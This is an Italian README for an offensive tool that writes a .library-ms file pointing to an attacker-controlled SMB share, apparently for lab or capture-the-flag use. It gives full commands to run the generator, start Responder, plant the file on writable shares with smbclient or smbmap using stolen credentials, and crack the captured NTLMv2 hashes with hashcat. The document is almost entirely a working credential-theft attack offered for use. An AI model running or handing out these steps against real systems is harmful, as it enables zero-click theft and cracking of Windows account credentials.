❀ Cosa fa

Chiede il tuo IP di attacco e un nome file, scrive un .library-ms che punta a \\<IP>\share, e lo impacchetta in exploit.tar. Quando Explorer esplora la cartella in cui finisce il .library-ms sciolto, risolve automaticamente quel percorso UNC e fa trapelare l'NTLMv2 dell'account verso il tuo listener — senza bisogno di alcun click.

⚠️ È il .library-ms sciolto che fa scattare tutto — non il .tar. Un .tar presente sulla share è inerte; Explorer non analizza i tarball. Devi far arrivare il .library-ms stesso sulla share come file sciolto. Come farlo dipende dallo strumento (vedi sotto).

❀ Eseguilo

uv run coerce_library.py      # or: python3 coerce_library.py

Attack IP [10.10.14.197]:
File name [documents]:
[+] documents.library-ms  ->  \\10.10.14.197\share
[+] packed into exploit.tar

❀ Poi

1) Metti in ascolto

sudo responder -I tun0

2) Porta il .library-ms su una share scrivibile

smbclient — carica il .tar, estrailo lato server con tar x (deposita il .library-ms sciolto accanto ad esso):

smbclient //<TARGET>/<SHARE> -U '<DOMAIN>/<USER>%<PASS>' -c 'put exploit.tar; tar x exploit.tar'

smbmap — non ha una fase di estrazione, quindi carica direttamente il .library-ms sciolto (caricare qui il .tar non serve a nulla — non può decomprimerlo):

smbmap -H <TARGET> -d <DOMAIN> -u <USER> -p <PASS> --upload exploit.library-ms 'IT/exploit.library-ms'

Verifica che sia arrivato sciolto sulla share:

smbclient //<TARGET>/<SHARE> -U '<DOMAIN>/<USER>%<PASS>' -c 'ls' | grep library

3) Cracca l'NTLMv2 catturato

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt